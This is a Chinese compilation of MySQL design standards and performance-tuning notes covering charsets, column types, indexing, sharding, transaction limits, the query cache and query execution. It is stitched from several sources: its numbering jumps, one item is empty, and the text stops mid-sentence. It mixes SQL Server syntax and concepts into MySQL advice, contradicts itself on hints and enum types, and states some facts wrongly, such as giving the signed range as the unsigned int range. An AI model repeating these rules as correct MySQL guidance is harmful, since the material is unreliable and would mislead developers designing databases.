【强制】数据库本身库、表、列所有字符集必须保持一致,为utf8或utf8mb4,创建表时必须显式指定字符集为utf8或utf8mb4
【强制】前端程序字符集或者环境变量中的字符集,与数据库、表的字符集必须一致,统一为utf8。
【强制】创建表时必须显式指定表存储引擎类型,如无特殊需求一律InnoDB。需要使用除InnoDB/MyISAM/Memory外的存储引擎时必须通过DBA审核才能在生产环境中使用。因为Innodb表支持事务、行锁、宕机恢复、MVCC等关系型数据库重要特性,为业界使用最多的MySQL存储引擎,而这是其他大多数存储引擎不具备的
【强制】建表必须有comment
【建议】建表时关于主键: (1)强制要求主键为id,类型为int或bigint,且为auto_increment(2)标识表里每一行主体的字段不要设为主键,建议设为其他字段如user_id,order_id等,并建立unique key索引。因为如果设为主键且主键值为随机插入,则会导致innodb内部page分裂和大量随机I/O,性能下降。
【建议】核心表(如用户表,金钱相关的表)必须有行数据的创建时间字段create_time和最后更新时间字段update_time,便于查问题。
【建议】表中所有字段必须都是NOT NULL属性,业务可以根据需要定义DEFAULT值。因为使用NULL值会存在每一行都会占用额外存储空间、数据迁移容易出错、聚合函数计算结果偏差等问题。
【建议】建议对表里的blob、text等大字段,垂直拆分到其他表里,仅在需要读这些对象的时候才去select。
【建议】反范式设计: 把经常需要join查询的字段,在其他表里冗余一份。如user_name属性在user_account,user_login_log等表里冗余一份,减少join查询。
【强制】中间表用于保留中间结果集,名称必须以tmp_开头。备份表用于备份或抓取源表快照,名称必须以bak_开头。中间表和备份表定期清理。
【强制】对于超过100W行的大表进行alter table,必须经过DBA审核,并在业务低峰期执行。因为alter table会产生表锁,期间阻塞对于该表的所有写入,对于业务可能会产生极大影响。
3、 列数据类型优化
【建议】表中的自增列(auto_increment属性),推荐使用bigint类型。因为无符号int存储范围为-2147483648~2147483647(大约21亿左右),溢出后会导致报错。
【建议】业务中选择性很少的状态status、类型type等字段推荐使用tinytint或smallint类型节省存储空间。
【建议】业务中IP地址字段推荐使用int类型,不推荐用char(15)。因为int只占4字节,可以用函数相互转换,而char(15)占用至少15字节。一旦表数据行数到了1亿,那么要多用1.1G存储空间。 SQL: select inet_aton('192.168.2.12'); select inet_ntoa(3232236044); PHP: ip2long('192.168.2.12’); long2ip(3530427185);
【建议】不推荐使用enum,set。 因为它们浪费空间,且枚举值写死了,变更不方便。推荐使用tinyint或smallint。
【建议】不推荐使用blob,text等类型。它们都比较浪费硬盘和内存空间。在加载表数据时会读取大字段到内存里从而浪费内存空间,影响系统性能。建议和PM、RD沟通,是否真的需要这么大字段。Innodb中当一行记录超过8098字节时会将该记录中选取最长的一个字段将其768字节放在原始page里,该字段余下内容放在overflow-page里。不幸的是在compact行格式下原始page和overflow-page都会加载。
【建议】存储金钱的字段,建议用int,程序端乘以100和除以100进行存取。因为int占用4字节,而double占用8字节,空间浪费。
【建议】文本数据尽量用varchar存储。因为varchar是变长存储,比char更省空间。MySQL server层规定一行所有文本最多存65535字节,因此在utf8字符集下最多存21844个字符,超过会自动转换为mediumtext字段。而text在utf8字符集下最多存21844个字符,mediumtext最多存2^24/3个字符,longtext最多存2^32个字符。一般建议用varchar类型,字符数不要超过2700。
【建议】时间类型尽量选取timestamp。因为datetime占用8字节,timestamp仅占用4字节,但范围为1970-01-01 00:00:01到2038-01-01 00:00:00。更为高阶的方法,选用int来存储时间,使用SQL函数unix_timestamp()和from_unixtime()来进行转换。
4、 索引设计
【强制】InnoDB表必须主键为id int/bigint auto_increment,且主键值禁止被更新。
【建议】主键的名称以"pk_"开头,唯一键以"uk_"或"uq_"开头,普通索引以"idx_"开头,一律使用小写格式,以表名/字段的名称或缩写作为后缀。
【强制】InnoDB和MyISAM存储引擎表,索引类型必须为BTREE;MEMORY表可以根据需要选择HASH或者BTREE类型索引。
【强制】单个索引中每个索引记录的长度不能超过64KB。
【建议】单个表上的索引个数不能超过7个。
【建议】在建立索引时多考虑建立联合索引,并把区分度最高的字段放在最前面。如列userid的区分度可由select count(distinct userid)计算出来。
【建议】在多表join的SQL里,保证被驱动表的连接列上有索引,这样join执行效率最高。
【建议】建表或加索引时保证表里互相不存在冗余索引。对于MySQL来说,如果表里已经存在key(a,b),则key(a)为冗余索引,需要删除。
5、 分库分表、分区表
【强制】分区表的分区字段(partition-key)必须有索引,或者是组合索引的首列。
【强制】单个分区表中的分区(包括子分区)个数不能超过1024。
【强制】上线前RD或者DBA必须指定分区表的创建、清理策略。
【强制】访问分区表的SQL必须包含分区键。
【建议】单个分区文件不超过2G,总大小不超过50G,建议总分区数不超过20个。
【强制】对于分区表执行alter table操作,必须在业务低峰期执行。
【强制】采用分库策略的,库的数量不能超过1024
【强制】采用分表策略的,表的数量不能超过4096
【建议】单个分表不超过500W行,ibd文件大小不超过2G,这样才能让数据分布式变得性能更佳。
【建议】水平分表尽量用取模方式,日志、报表类数据建议采用日期进行分表。
MySQL单表最大记录数
MySQL本身并没有对单表最大记录数进行限制,但从性能考虑肯定是有一定影响的
曾经在中国互联网技术圈广为流传着这么一个说法:MySQL单表数据量大于2000万行,性能会明显下降。事实上这个传闻据说最早起源于百度。具体情况大概是这样的,当年的 DBA 测试 MySQL性能时发现,当单表的量在2000万行量级的时候,SQL操作的性能急剧下降,因此结论由此而来。然后又据说百度的工程师流动到业界的其它公司,也带去了这个信息,所以就在业界流传开这么一个说法。
再后来阿里巴巴《Java开发手册》提出单表行数超过500万行或者单表容量超过2GB,才推荐进行分库分表。对此有阿里的黄金铁律支撑,所以很多人设计大数据存储时,多会以此为标准进行分表操作。
事实上这个数值和实际记录的条数无关,而与MySQL的配置以及机器的硬件有关。因为MySQL为了提高性能,会将表的索引装载到内存中。InnoDB buffer size足够的情况下,其能完成全加载进内存,查询不会有问题。但当单表数据库到达某个量级的上限时,导致内存无法存储其索引,使得之后的SQL查询会产生磁盘IO,从而导致性能下降。当然这个还有具体的表结构的设计有关,最终导致的问题都是内存限制。这里增加硬件配置,可能会带来立竿见影的性能提升。
MySQL单表数据量过多怎么优化呢?
1.数据库设计和表创建时就要考虑性能
表字段避免null值出现,null值很难查询优化且占用额外的索引空间,推荐默认数字0代替null。
尽量使用INT而非BIGINT,如果非负则加上UNSIGNED(这样数值容量会扩大一倍),当然能使用TINYINT、SMALLINT、MEDIUM_INT更好。
使用枚举或整数代替字符串类型
尽量使用TIMESTAMP而非DATETIME
单表不要有太多字段
用整型来存IP
2.sql的编写需要注意优化
可以通过开启慢查询日志来找出较慢的SQL
使用limit对查询结果的记录进行限定
避免select *,将需要查找的字段列出来
使用连接(join)来代替子查询
sql语句尽可能简单:一条sql只能在一个cpu运算;大语句拆小语句,减少锁时间;一条大sql可以堵死整个库
OR改写成IN:OR的效率是n级别,IN的效率是log(n)级别,in的个数建议控制在200以内
少用JOIN
尽量避免在WHERE子句中使用!=或<>操作符,否则将引擎放弃使用索引而进行全表扫描
列表数据不要拿全表,要使用LIMIT来分页,每页数量也不要太大
3.分库
把一个数据库分成多个
4.分表
分表分为垂直拆分和水平拆分
1、 DML语句
尽量避免向客户端返回大数据量,若数据量过大应该考虑相应需求是否合理。
【强制】insert语句指定具体字段名称,不要写成insert into t1 values(…),道理同上。
【建议】insert into…values(XX),(XX),(XX),插入的记录数不要超过5000个,过多虽然上线很快,但会引起主从同步延迟。
【建议】where in值列表限制在500以内,为了减少底层扫描,减轻数据库压力从而加速查询。
【建议】事务里批量更新数据需要控制数量,进行必要的sleep,做到少量多次。
【强制】事务涉及的表必须全部是innodb表,否则一旦失败不会全部回滚,且易造成主从库同步终端。
【强制】写入和事务发往主库,只读SQL发往从库。
【强制】除静态表或小表(100行以内),DML语句必须有where条件,且使用索引查找。
【强制】where条件里等号左右字段类型必须一致,否则无法利用索引。
【强制】WHERE子句中禁止只使用全模糊的LIKE条件进行查找,必须有其他等值或范围查询条件,否则无法利用索引。
【建议】索引列不要使用函数或表达式,否则无法利用索引。如where length(name)='Admin'或where user_id+2=10023。
【强制】生产环境禁止使用hint,如sql_no_cache,force index,ignore key,straight join等,hint强制SQL按照某个执行计划执行,但随着数据量变化无法保证自己当初的预判是正确的,因此要相信MySQL优化器
【强制】生产数据库中强烈不推荐大表上发生全表扫描,但对于100行以下的静态表可以全表扫描。查询数据量不要超过表行数的25%,否则不会利用索引。
【建议】减少使用or语句,可将or语句优化为union,然后在各个where条件上建立索引。如where a=1 or b=2优化为where a=1… union …where b=2, key(a),key(b)。
【建议】分页查询,当limit起点较高时,可先用过滤条件进行过滤。如select a,b,c from t1 limit 10000,20;优化为:select a,b,c from t1 where id>10000 limit 20;。
2、 多表连接
【强制】禁止跨db的join语句,因为这样可以减少模块间耦合,为数据库拆分奠定坚实基础。
【强制】禁止在业务的更新类SQL语句中使用join,比如update t1 join t2
【建议】不建议使用子查询,建议将子查询SQL拆开结合程序多次查询,或使用join来代替子查询。
【建议】线上环境,多表join不要超过3个表。
【建议】多表连接查询推荐使用别名,且SELECT列表中要用别名引用字段,数据库.表格式,如select a from db1.table1 alias1 where …。
【建议】在多表join中,尽量选取结果集较小的表作为驱动表,来join其他表。
3、 事务
尽量避免大事务操作,提高系统并发能力。
【建议】事务中INSERT|UPDATE|DELETE|REPLACE语句操作的行数控制在2000以内,WHERE子句中IN列表的传参个数控制在500以内。
【建议】批量操作数据时,需要控制事务处理间隔时间,进行必要的sleep,一般建议值5-10秒。
【建议】对于有auto_increment属性字段的表的插入操作,并发需要控制在200以内。
【强制】程序设计必须考虑"数据库事务隔离级别"带来的影响,包括脏读、不可重复读和幻读,线上建议事务隔离级别为repeatable-read。
【建议】事务里包含SQL不超过5个(支付业务除外),因为过长的事务会导致锁数据较久,MySQL内部缓存、连接消耗过多等雪崩问题。
【建议】事务里更新语句尽量基于主键或unique key,如update … where id=XX; 否则会产生间隙锁,内部扩大锁定范围,导致系统性能下降,产生死锁。
【建议】尽量把一些典型外部调用移出事务,如调用webservice,访问文件存储等,从而避免事务过长。
【建议】对于MySQL主从延迟严格敏感的select语句,请开启事务强制访问主库。
4、 排序和分组
【建议】减少使用order by,和业务沟通能不排序就不排序,或将排序放到程序端去做。order by、group by、distinct这些语句较为耗费CPU,数据库的CPU资源是极其宝贵的。
【建议】包含了order by、group by、distinct这些查询的语句,where条件过滤出来的结果集请保持在1000行以内,否则SQL会很慢。
【建议】order by、group by、distinct这些SQL尽量利用索引直接检索出排序好的数据,如where a=1 order by可以利用key(a,b)。
5、 线上禁止使用的SQL语句
【高危】禁用update|delete t1 … where a=XX limit XX;这种带limit的更新语句,因为会导致主从不一致,导致数据错乱,建议加上order by PK。
【高危】禁止使用关联子查询,如update t1 set … where name in(select name from user where…);效率极其低下。
【强制】禁用procedure、function、trigger、views、event、外键约束,因为他们消耗数据库资源,降低数据库实例可扩展性,推荐都在程序端实现。
【强制】禁用insert into …on duplicate key update…在高并发环境下会造成主从不一致。
【强制】禁止联表更新语句,如update t1,t2 where t1.id=t2.id…
【 优化SQL语句 】
8、尽量避免在where子句中对字段进行表达式操作或函数、算术运算操作,这将导致引擎放弃使用索引而进行全表扫描
select id from t where num/2=100
应改为:
select id from t where num=100*2
select id from t where substring(name,1,3)='abc' # name以abc开头的id
select id from t where datediff(day,createdate,'2005-11-30′)=0 # '2005-11-30′生成的id
应改为:
select id from t where name like 'abc%'
select id from t where createdate>='2005-11-30′ and createdate<'2005-12-1′
7、如果在where子句中使用参数也会导致全表扫描,因为SQL只有在运行时才会解析局部变量,但优化程序不能将访问计划的选择推迟到运行时;它必须在编译时进行选择。然而如果在编译时建立访问计划,变量的值还是未知的,因而无法作为索引选择的输入项
select id from t where num=@num
可以改为强制查询使用索引:
select id from t with(index(索引名)) where num=@num
16.应尽可能的避免更新clustered索引数据列,因为clustered索引数据列的顺序就是表记录的物理存储顺序,一旦该列值改变将导致整个表记录的顺序的调整,会耗费相当大的资源。若应用系统需要频繁更新clustered索引数据列,那么需要考虑是否应将该索引建为clustered索引。
20、尽量使用表变量来代替临时表。如果表变量包含大量数据,请注意索引非常有限(只有主键索引)。
21、避免频繁创建和删除临时表,以减少系统表资源的消耗。
22、临时表并不是不可使用,适当地使用它们可以使某些例程更有效,例如当需要重复引用大型表或常用表中的某个数据集时,但对于一次性事件最好使用导出表。
23、在新建临时表时,如果一次性插入数据量很大,那么可以使用select into代替create table,避免造成大量log ,以提高速度;如果数据量不大,为了缓和系统表的资源,应先create table,然后insert。
24、如果使用到了临时表,在存储过程的最后务必将所有的临时表显式删除,先truncate table然后drop table,这样可以避免系统表的较长时间锁定。
25、尽量避免使用游标,因为游标的效率较差,如果游标操作的数据超过1万行,那么就应该考虑改写。
26、使用基于游标的方法或临时表方法之前,应先寻找基于集的解决方案来解决问题,基于集的方法通常更有效。
27、与临时表一样,游标并不是不可使用。对小型数据集使用FAST_FORWARD游标通常要优于其他逐行处理方法,尤其是在必须引用几个表才能获得所需的数据时。在结果集中包括"合计"的例程通常要比使用游标执行的速度快。如果开发时 间允许,基于游标的方法和基于集的方法都可以尝试一下,看哪一种方法的效果更好。
28、在所有的存储过程和触发器的开始处设置SET NOCOUNT ON,在结束时设置SET NOCOUNT OFF。无需在执行存储过程和触发器的每个语句后向客户端发送DONE_IN_PROC消息。
mysql优化
1、sql及索引
2、数据库表结构
3、系统配置
4、硬件
数据库的优化可以从四个方面来优化:
1.从结构层: web服务器采用负载均衡服务器,mysql服务器采用主从复制,读写分离
2.从储存层: 采用合适的存储引擎,采用三范式
3.从设计层: 采用分区分表,索引,表的字段采用合适的字段属性,适当的采用逆范式,开启mysql缓存
4.sql语句层:结果一样的情况下采用效率高速度快节省资源的sql语句执行
1,数据表中的数据类型的优化 如选择合适的字段,选择效率快速的字段
2,索引优化
3、SQL语句的优化
(1)优化查询过程中的数据访问如使用limit、使用返回列不用*
(2)优化长难句的查询语句 变复杂为简单、切分查询、分解关联查询
(3)优化特定类型的查询语句如优化count()、优化关联查询、优化子查询、优化Group by、优化limit
4、存储引擎的优化
1)尽量使用InnoDB存储引擎,因为它支持事务、外键、使用独立表空间、使用的是行级锁、
5、数据表结构的设计优化
(1)分区操作 如通过特定的策略对数据进行物理拆分、对用户透明的、partition by
(2)分库分表 如水平拆分(以行级进行拆分)、垂直拆分(列及拆分)
6、数据架构的优化
(1)主从复制
(2)读写分离
(3)双主热备
(4)负载均衡 通过LVS的三种模式实现的、Mycat数据库中间件实现的
【 引擎(InnoDB,MyISAM)的内存优化 】
一、InnoDB内存优化
InnoDB用一块内存区域做I/O缓存池,该缓存池不仅用来缓存InnoDB的索引块,而且也用来缓存InnoDB的数据块。
1、innodb_log_buffer_size
决定了InnoDB重做日志缓存的大小,可以避免InnoDB在事务提交前就执行不必要的日志写入磁盘操作。
2、设置Innodb_buffer_pool_size
改变量决定了InnoDB存储引擎表数据和索引数据的最大缓存区大小。
二、MyISAM内存优化
MyISAM存储引擎使用key_buffer缓存索引模块,加速索引的读写速度。对于MyISAM表的数据块,mysql没有特别的缓存机制,完全依赖于操作系统的IO缓存。
1、read_rnd_buffer_size
对于需要做排序的MyISAM表查询,如带有order by子句的sql,适当增加read_rnd_buffer_size的值,可以改善此类的sql性能。但需要注意的是read_rnd_buffer_size独占的,如果默认设置值太大就会造成内存浪费。
2、key_buffer_size设置
key_buffer_size决定MyISAM索引块缓存分区的大小,直接影响到MyISAM表的存取效率。对于一般MyISAM数据库,建议1/4可用内存分配给key_buffer_size:
key_buffer_size=2G
3、read_buffer_size
如果需要经常顺序扫描MyISAM表,可以通过增大read_buffer_size的值来改善性能。但需要注意的是read_buffer_size是每个seesion独占的,如果默认值设置太大,就会造成内存浪费。
三、调整MySQL参数并发相关的参数
1、调整max_connections
提高并发连接
2、调整thread_cache_size
加快连接数据库的速度,MySQL会缓存一定数量的客户服务线程以备重用,通过参数thread_cache_size可控制mysql缓存客户端线程的数量。
3、innodb_lock_wait_timeout
控制InnoDB事务等待行锁的时间,对于快速处理的SQL语句,可以将行锁等待超时时间调大,以避免发生大的回滚操作
【 执行一条查询语句的流程 】
1.请求mysql服务器时MySQL前端会有一个监听,请求到了之后,服务器得到相关的SQL语句,执行之前还会做权限的判断
2.通过权限后SQL就到MySQL内部,查询缓存该SQL有没有执行过,如果查询语句命中了缓存则MySQL服务器立即返回存储在缓存中的结果,但查询缓存默认是不开启的,因为查询缓存要求SQL和参数都要一样,所以命中率很低
3.如果没有开启查询缓存或缓存中没有找到对应的结果,那么就到了解析器,解析器主要对SQL语法进行解析
4.解析结束后就变成一颗解析树,编程语言之所以有很多规范、语法,其实就是为了便于这个解析器解析
5.得到解析树之后不能马上执行,这还需要对这棵树进行预处理,也就是说这棵树没有经过任何优化的树,预处理器会对这棵树进行一些预处理,比如常量放在什么地方,有计算的东西就把计算的结果算出来等
6.预处理完毕之后得到一棵比较规范得到了一些优化的树,这棵树就是要拿去马上做执行的树
7.查询优化器是MySQL最关键的东西,任何一条SQL如SELECT * FROM USER WHERE USERNAME = toby AND PASSWORD = 1怎么执行?先执行username = toby还是password = 1?每一条SQL的执行顺序查询优化器就是根据MySQL对数据统计表的一些信息,比如索引,比如表一共有多少数据,MySQL都是有缓存起来的,在真正执行SQL之前会根据这些数据进行一个综合的判定,判断这一次在多种执行方式里面到底选哪一种执行方式可能运行的最快,这一步是MySQL性能中最关键的核心点,也是优化原则,平时所讲的优化SQL其实就是想让查询优化器按照应用选择最优的执行方案,因为应用比MySQL更懂数据,MySQL看数据,仅仅只是自己收集到的信息,这些信息可能是不准确的,MySQL根据这些信息选了一个它自认为最优的方案,但这个方案可能和我们想象的不一样
8.这里的查询执行计划,也就是MySQL查询中的执行计划,比如要先执行username = toby还是password = 1
9.这个执行计划会传给查询执行引擎,执行引擎选择存储引擎来执行这一份传过来的计划,到磁盘中的文件中去查询,这个时候重点来了,影响这个查询性能最根本的原因是硬盘的机械运动即IO,所以一条查询语句快慢就是根据这个时间的IO来确定的,那怎么执行IO又是什么来确定的?就是传过来的这一份执行计划
10.如果开了查询缓存则返回结果给客户端,并且查询缓存也放一份
单表查询优化:
(0)可以先使用EXPLAIN关键字查看MySQL是如何处理SQL语句的,分析是查询语句或表结构的性能瓶颈。
(2)
(3)使用分页语句: limit start,count或条件where子句时有什么可限制的条件尽量加上,查一条就limit 1,这样mysql在找到一条数据后就停止搜索,而不是全文搜索完再停止。
(4)开启查询缓存: 大多数的MySQL服务器都开启了查询缓存,这是提高查询有效的方法之一。当有很多相同的查询被执行了多次时这些查询结果会被放到一个缓存中,后续的相同的查询就不用操作表而直接访问缓存结果
一、优化mysql查询缓存(query cache)
MySQL服务器在执行一个查询时会先检查MySQL查询缓存,而检查MySQL查询缓存时会先检查其查询缓存是否打开的,如果是打开的则会先检查这个查询语句是否命中了查询缓存中的数据。如果命中了缓存中的数据,MySQL会检查一次用户权限,如果权限没有问题,MySQL会跳过所有其他阶段,直接从查询缓存中拿到结果并返回给MySQL客户端,否则直接进入下一个环节。
MySQL检查某个查询是否命中缓存是通过一个对大小写敏感的哈希查找实现的,查询语句必须与缓存完全匹配才算命中
如果查询语句命中了查询缓存,查询不会被解析,也不会生成执行计划和被执行。
在MySQL服务器上进行查询,可以启用高速查询缓存,让数据库引擎在后台悄悄的处理是提高性能的最有效方法之一。当同一个查询被执行多次时,如果结果是从缓存中提取,那是相当快的。
// query cache does NOT work
$r = mysql_query("SELECT username FROM user WHERE signup_date >= CURDATE()");
// query cache works!
$today = date("Y-m-d");
$r = mysql_query("SELECT username FROM user WHERE signup_date >= '$today'");
查询缓存工作流程:
A): 服务器接收SQL,以SQL+DB+Query_cache_query_flags作为hash查找键;
B): 找到了相关的结果集就将其返回给客户端;
C): 如果没有找到缓存则执行权限验证、SQL解析、SQL优化等一些列的操作;
D): 执行完SQL之后将结果集保存到缓存
当然并不是每种情况都适合使用缓存,衡量打开缓存是否对系统有性能提升是一个整体的概念,怎么判断要不要开启缓存:
1)通过缓存命中率判断,缓存命中率 = 缓存命中次数 (Qcache_hits) / 查询次数 (Com_select)、
2)通过缓存写入率,写入率 = 缓存写入次数 (Qcache_inserts) / 查询次数 (Qcache_inserts)
3)通过 命中-写入率 判断,比率 = 命中次数 (Qcache_hits) / 写入次数 (Qcache_inserts),高性能MySQL中称之为比较能反映性能提升的指数,一般来说达到3:1则算是查询缓存有效,而最好能够达到10:1
缓存数据失效时机
在表的结构或数据发生改变时查询缓存中的数据不再有效。有这些INSERT、UPDATE、 DELETE、TRUNCATE、ALTER TABLE、DROP TABLE或DROP DATABASE会导致缓存数据失效,所以查询缓存适合有大量相同查询的应用,不适合有大量数据更新的应用。
配置文件设置缓存
my.ini或my.cy找到[mysqld]
query_cache_size = 20M # 缓存大小
query_cache_type = ON # 开启缓存
table_cache=256 # 用于限制缓存表的最大数目,如果当前已经缓存的表未达到table_cache则会将新表添加进来;若已经达到此值,MySQL将根据缓存表的最后查询时间、查询率等规则释放之前的缓存
参数调优
mysql> show global status like 'open%_tables';
| Open_tables | 0 | #当前正在打开表的数量
| Opened_tables | 35 | #所有已经打开表的数量,建议table_cache 比Opened_tables的数值大一些
查询缓存相关配置参数
mysql> show variables like '%query_cache%';
| have_query_cache | YES | #是否支持查询缓存
| query_cache_limit | 1048576 | #可缓存具体查询结果的最大值
| query_cache_min_res_unit | 4096 | #查询缓存是以块来申请内存空间的,每次申请的块大小为设定值
| query_cache_size | 0 | #查询缓存的大小
| query_cache_type | ON | #关闭或是开启缓存
| query_cache_wlock_invalidate | OFF | #该参数用于设置行级排它锁与查询缓存之间的关系,默认为为0(OFF),表示施加行级排它所的同时,该表的所有查询缓存依然有效。如果设置为1(ON),表示事假行级排它锁的同时,该表的所有查询缓存失效。
查询缓存使用情况
mysql> show status like 'Qcache%';
| Qcache_free_blocks | 0 | #缓冲区碎片数量
| Qcache_free_memory | 0 | #表示当前MySQL服务实例的查询缓存还有多少可用内存
| Qcache_hits | 0 | #使用查询缓存的次数
| Qcache_inserts | 0 | #表示查询缓存中此前总共缓存过多少条select 语句的结果集。
| Qcache_lowmem_prunes | 0 | #值非常大则表明经常出现缓冲不够的情况
| Qcache_not_cached | 0 | #表示没有进入查询缓存的select个数
| Qcache_queries_in_cache | 0 | #缓存中缓存这多少条select语句的结果集
| Qcache_total_blocks | 0 | #查询缓存的总个数
可以使用下面三个SQL来清理查询缓存:
1、flush query cache; // 清理查询缓存内存碎片。
2、reset query cache; // 从查询缓存中移出所有查询。
3、flush tables; // 关闭所有打开的表,同时该操作将会清空查询缓存中的内容。
InnoDB与查询缓存:
Innodb会对每个表设置一个事务计数器,里面存储当前最大的事务ID,当一个事务提交时InnoDB会使用MVCC中系统事务ID最大的事务ID更新当前表的计数器,只有比这个最大ID大的事务能使用查询缓存,其他比这个ID小的事务则不能使用查询缓存
另外在InnoDB中所有有加锁操作的事务都不使用任何查询缓存
控制MySQL查询缓存通常通过设置MySQL的缓存配置来实现的,控制查询缓存的参数可用命令SHOW VARIABLES LIKE '%query_cache%'查看
1、query_cache_limit
表示MySQL服务器能够缓存的最大结果,不缓存大于该值的结果,如果超出则增加qcache_not_cached的值,并删除查询结果
2、query_cache_min_res_unit
表示分配内存块时的最小单位大小。
3、query_cache_size
表示缓存使用的总内存空间大小,单位字节,这个值必须是1024的整数倍,否则MySQL服务器实际分配可能跟这个数值不同。
4、query_cache_type
该参数表示是否打开缓存。OFF: 关闭;ON: 总是打开。
5、query_cache_wlock_invalidate
该参数表示如果某个数据表被锁住,是否仍然从缓存中返回数据,默认是OFF,表示仍然可以返回。
二、解析器
如果查询语句没有命中查询缓存,MySQL会对SQL语句进行解析。MySQL通过关键字将SQL语句进行解析,生成一棵对应的"解析树"。MySQL解析器将使用MySQL语法规则验证和解析查询。例如将验证是否使用了错误的关键字,或使用关键字的顺序是否正确,再或者它还会验证引号是否能前后正确的匹配等。
三、预处理器
待MySQL解析器处理完生成解析树后,MySQL预处理器会根据一些MySQL规则进一步检查解析树是否合法。例如检查数据表和数据列是否存在;解析名字和别名,看看它们是否有歧义等。
四、查询优化器
待解析树被预处理后,MySQL查询优化器会将其转化为执行计划。通常一个查询可以有很多种执行方式,但最后都返回相同的结果,查询优化器的作用就是在这多种执行计划中找到最好的一种。
MySQL使用基于成本的优化器,将尝试预测一个查询使用某种执行计划的成本,并选择其中成本最小的一个。最初成本的最小单位是随机读取一个4K数据页的成本,后来成本计算公式变得更加复杂,并且引入了一些因子来估算某些操作的代价,如执行一次where条件比较的成本。可以通过查询当前会话的last_query_cost的值来得知MySQL计算的当前查询成本。
有很多种原因会导致MySQL优化器选择错误的执行计划,比如:
统计信息不准确。
执行计划中的成本估算不等同于实际的执行计划的成本。
MySQL的最优可能与你想的最优不一样。
MySQL从不考虑其他并发的查询,这可能会影响当前查询的速度。
MySQL也不是任何时候都是基于成本的优化,有时候也会基于一些固定的规则。
MySQL不会考虑不受其控制的成本,例如执行存储过程或者用户自定义的函数的成本。
MySQL的查询优化使用了很多优化策略来生成一个最优的执行的计划,大致可以分为两种: 静态优化和动态优化。
静态优化可以直接对解析树进行分析并完成优化。例如优化器可以通过一些简单的代数变换将where条件转换成另一种等价形式。静态优化不依赖于特别的数值,例如where条件中带入的一些常数等。静态优化在第一次完成后就一直有效,即使使用不同的参数重复查询也不会变化,可以认为是一种"编译时优化"。
动态优化则和查询的上下文有关,也可能和很多其他因素有关,例如where条件中的取值、索引中条目对应的数据行数等,这些需要每次查询的时候重新评估,可以认为是"运行时优化"。
下面是一些MySQL能够处理的优化类型:
1、重新定义关联表的顺序
数据表的关联并不总是按照在查询中指定的顺序进行,决定关联的顺序是优化器很重要的一部分功能。
2、将外连接转化成内连接
并不是所有的outer join语句都必须以外连接的方式执行。例如,where条件、库表结构都可能会让外连接等价于一个内连接。MySQL能够识别这点并重写查询,让其可以调整关联顺序。
3、使用等价变换规则
MySQL可以使用一些等价变换来简化并规范表达式。它可以合并和减少一些比较,还可以移除一些恒成立和一些恒不成立的判断。例如,(5=5 and a>5)将被改写为a>5。类似的,如果有(a < b and b=c)and a=5,则会被改写为 b>5 and b=c and a=5。
4. 优化count()、min()、max()
索引和列是否为空通常可以帮助MySQL优化这类表达式。例如,要找到一列的最小值,只需要查询对应B-tree索引最左端的记录,MySQL可以直接获取索引的第一行记录。在优化器生成执行计划的时候就可以利用这一点,在B-tree索引中,优化器会讲这个表达式最为一个常数对待。类似的,如果要查找一个最大值,也只需要读取B-tree索引的最后一个记录。如果MySQL使用了这种类型的优化,那么在explain中就可以看到"select tables optimized away"。从字面意思可以看出,它表示优化器已经从执行计划中移除了该表,并以一个常数取而代之。
类似的,没有任何where条件的count(*)查询通常也可以使用存储引擎提供的一些优化,例如,MyISAM维护了一个变量来存放数据表的行数。
5、预估并转化为常数表达式
6、覆盖索引扫描
当索引中的列包含所有查询中需要使用的列的时候,MySQL就可以使用索引返回需要的数据,而无需查询对应的数据行。
7、子查询优化
MySQL在某些情况下可以将子查询转换成一种效率更高的形式,从而减少多个查询多次对数据进行访问。
8、提前终止查询
在发现已经满足查询需求的时候,MySQL总是能够立即终止查询。一个典型的例子就是当使用了limit子句的时候。除此之外,MySQL还有几种情况也会提前终止查询,例如发现了一个不成立的条件,这时MySQL可以立即返回一个空结果。
9、等值传播
10、列表in()的比较
在很多数据库系统中,in()完全等同于多个or条件的字句,因为这两者是完全等价的。在MySQL中这点是不成立的,MySQL将in()列表中的数据先进行排序,然后通过二分查找的方式来确定列表中的值是否满足条件,这是一个o(log n)复杂度的操作,等价转换成or的查询的复杂度为o(n),对于in()列表中有大量取值的时候,MySQL的处理速度会更快。
五、查询执行引擎
在解析和优化阶段,MySQL将生成查询对应的执行计划,MySQL的查询执行引擎则根据这个执行计划来完成整个查询。这里执行计划是一个数据结构,而不是和很多其他的关系型数据库那样会生成对应的字节码。
相对于查询优化阶段,查询执行阶段不是那么复杂,MySQL只是简单的根据执行计划给出的指令逐步执行。在根据执行计划逐步执行的过程中,有大量的操作需要通过调用存储引擎实现的接口来完成,这些接口就是称为"handler API"的接口。实际上MySQL在优化阶段就为每个表创建了一个handler实例,优化器根据这些实例的接口可以获取表的相关信息,包括表的所有列名、索引统计信息等。
六、返回结果给客户
查询执行的最后一个阶段是将结果返回给客户端。即使查询不需要返回结果给客户端,MySQL仍然会返回这个查询的一些信息,如查询影响到的行数。
如果查询可以被缓存,那么MySQL在这个阶段会将结果存放到查询缓存中。
MySQL将结果返回客户端是一个增量、逐步返回的过程。例如在关联表操作时,一旦服务器处理完最后一个关联表,开始生成第一条结果时,MySQL就可以开始向客户端逐步返回结果集了。
这样处理有两个好处:
服务器无需存储太多的结果,也就不会因为要返回太多的结果而消耗太多的内存。
这样的处理也让MySQL客户端第一时间获得返回的结果。
结果集中的每一行都会以一个满足MySQL客户端/服务器通信协议的封包发送,再通过TCP协议进行传输,在TCP传输过程中可能对MySQL的封包进行缓存然后批量传输。
【 执行计划 】
执行计划是数据库根据SQL语句和相关表的统计信息作出的一个查询方案,这个方案是由查询优化器自动分析产生的,比如一条SQL语句如果用来从一个10万条记录的表中查1条记录,那查询优化器会选择"索引查找"方式,如果该表进行了归档,当前只剩下5000条记录了,那查询优化器就会改变方案,采用"全表扫描"方式。
可见执行计划并不是固定的,它是个性化的,产生一个正确的"执行计划"有两点很重要:
(1)SQL语句是否清晰地告诉查询优化器它想干什么?
(2)查询优化器得到的数据库统计信息是否是最新的、正确的?
【 使用临时表暂存中间结果 】
简化SQL语句的重要方法就是采用临时表暂存中间结果,但临时表的好处远远不止这些,将临时结果暂存在临时表,后面的查询就在tempdb中了,这可以避免程序中多次扫描主表,也大大减少了程序执行中共享锁阻塞更新锁,减少了阻塞,提高了并发性能。
【 OLTP系统SQL语句必须采用绑定变量 】
select * from orderheader where changetime >'2010-10-20 00:00:01'
select * from orderheader where changetime >'2010-09-22 00:00:01'
以上两句语句,查询优化器认为是不同的SQL语句,需要解析两次。如果采用绑定变量
